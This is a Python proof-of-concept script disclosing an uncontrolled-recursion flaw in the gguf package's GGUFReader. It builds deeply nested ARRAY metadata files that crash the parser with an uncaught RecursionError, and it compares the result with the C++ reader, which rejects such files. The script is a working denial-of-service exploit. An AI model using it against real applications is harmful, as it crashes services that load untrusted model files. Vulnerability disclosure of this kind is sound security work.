File size: 5,440 Bytes
27bfb5c
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
"""
PoC: GGUF Nested Array (ARRAY-of-ARRAY) Uncontrolled Recursion -> RecursionError DoS

Target:   gguf (PyPI), gguf-py from ggml-org/llama.cpp
File:     gguf/gguf_reader.py, GGUFReader._get_field_parts()

Root cause (CWE-674, Uncontrolled Recursion):

    if gtype == GGUFValueType.ARRAY:
        raw_itype = self._get(offs, np.uint32)
        offs += int(raw_itype.nbytes)
        alen = self._get(offs, np.uint64)
        offs += int(alen.nbytes)
        aparts = [raw_itype, alen]
        data_idxs = []
        for idx in range(alen[0]):
            curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
            ...

When a KV metadata field has type ARRAY, the reader reads the array's
*element* type (`raw_itype`) and recurses into `_get_field_parts()` to
parse each element -- with NO check that `raw_itype` isn't itself ARRAY,
and no recursion depth limit. A GGUF file can therefore declare an array
whose element type is "array", whose element type is "array", ... nested
as deep as the file declares.

The reference C/C++ implementation in ggml-org/llama.cpp explicitly
rejects this: in `ggml/src/gguf.cpp`, the type-dispatch switch statement
has:

    case GGUF_TYPE_ARRAY:
    default:
        {
            GGML_LOG_ERROR("%s: key '%s' has invalid GGUF type %d\n", ...);
            ok = false;
        } break;

i.e. encountering ARRAY as an array's element type is treated as an
invalid/malformed file and rejected cleanly. The Python bindings have no
equivalent check.

Impact: nesting depth around Python's default recursion limit (~1000)
causes an uncaught `RecursionError` that propagates all the way out of
`GGUFReader.__init__()` -- there is no try/except anywhere in the
recursive call chain. Any application that calls `GGUFReader(path)`
without a specific `except RecursionError` handler (unusual -- most
code anticipates `ValueError`/`OSError` for file-parsing failures, not
`RecursionError`) crashes with an unhandled exception. A file of
roughly 12KB is enough to trigger this reliably.

This script:
  1. Builds a small, valid GGUF file with a single KV field of type
     ARRAY, nested N levels deep (each level's element type is again
     ARRAY, with array length 1), bottoming out in a 1-element INT32
     array.
  2. Demonstrates that Python silently accepts shallow nesting (10,
     100 levels) but raises an uncaught RecursionError at deeper
     nesting (1000, 5000 levels).
  3. If a compiled `llama-gguf` binary path is given, also demonstrates
     that the native C++ reference implementation cleanly REJECTS even
     a single level of nesting -- confirming this is a genuine parity
     gap, not merely "the file is malformed and everyone rejects it
     differently."

Requires: pip install gguf numpy
"""

import struct
import os
import subprocess
import sys

GGUF_MAGIC = 0x46554747
GGUFValueType_ARRAY = 9
GGUFValueType_INT32 = 5


def pack_str(s: str) -> bytes:
    b = s.encode("utf-8")
    return struct.pack("<Q", len(b)) + b


def build_nested_array_gguf(depth: int, path: str) -> int:
    header = struct.pack("<I", GGUF_MAGIC)
    header += struct.pack("<I", 3)   # version
    header += struct.pack("<Q", 0)   # tensor_count
    header += struct.pack("<Q", 1)   # kv_count

    kv = pack_str("nested")
    kv += struct.pack("<I", GGUFValueType_ARRAY)   # top-level type: ARRAY

    for _ in range(depth):
        kv += struct.pack("<I", GGUFValueType_ARRAY)  # element type: ARRAY (nested!)
        kv += struct.pack("<Q", 1)                     # array length: 1

    # bottom out with a real 1-element INT32 array
    kv += struct.pack("<I", GGUFValueType_INT32)
    kv += struct.pack("<Q", 1)
    kv += struct.pack("<i", 42)

    data = header + kv
    with open(path, "wb") as f:
        f.write(data)
    return len(data)


def test_python_reader(path: str, depth: int) -> None:
    from gguf.gguf_reader import GGUFReader
    try:
        GGUFReader(path)
        print(f"  depth={depth}: accepted silently (no error)")
    except RecursionError as e:
        print(f"  depth={depth}: RecursionError -- {e}")
    except Exception as e:
        print(f"  depth={depth}: {type(e).__name__}: {e}")


def test_native_reader(binary: str, path: str) -> None:
    r = subprocess.run([binary, path, "r"], capture_output=True, timeout=10)
    stderr = r.stderr.decode(errors="replace")
    if "invalid GGUF type" in stderr or "invalid GGUF type" in r.stdout.decode(errors="replace"):
        print("  native C++ reader: cleanly REJECTED (invalid GGUF type)")
    else:
        print(f"  native C++ reader: exit={r.returncode}, stderr tail: {stderr[-200:]}")


def main():
    print("=== Building nested-array GGUF files at increasing depth ===\n")
    for depth in (1, 10, 100, 1000, 5000):
        path = f"poc_nested_array_depth_{depth}.gguf"
        size = build_nested_array_gguf(depth, path)
        print(f"depth={depth}: {size} bytes")
        test_python_reader(path, depth)
        if depth == 1 and len(sys.argv) > 1:
            print()
            test_native_reader(sys.argv[1], path)
        print()

    print(
        "Depth 1000 (~12KB file) is enough to trigger an uncaught RecursionError\n"
        "on Python's default recursion limit. The exception propagates all the way\n"
        "out of GGUFReader.__init__() with no handling anywhere in the library."
    )


if __name__ == "__main__":
    main()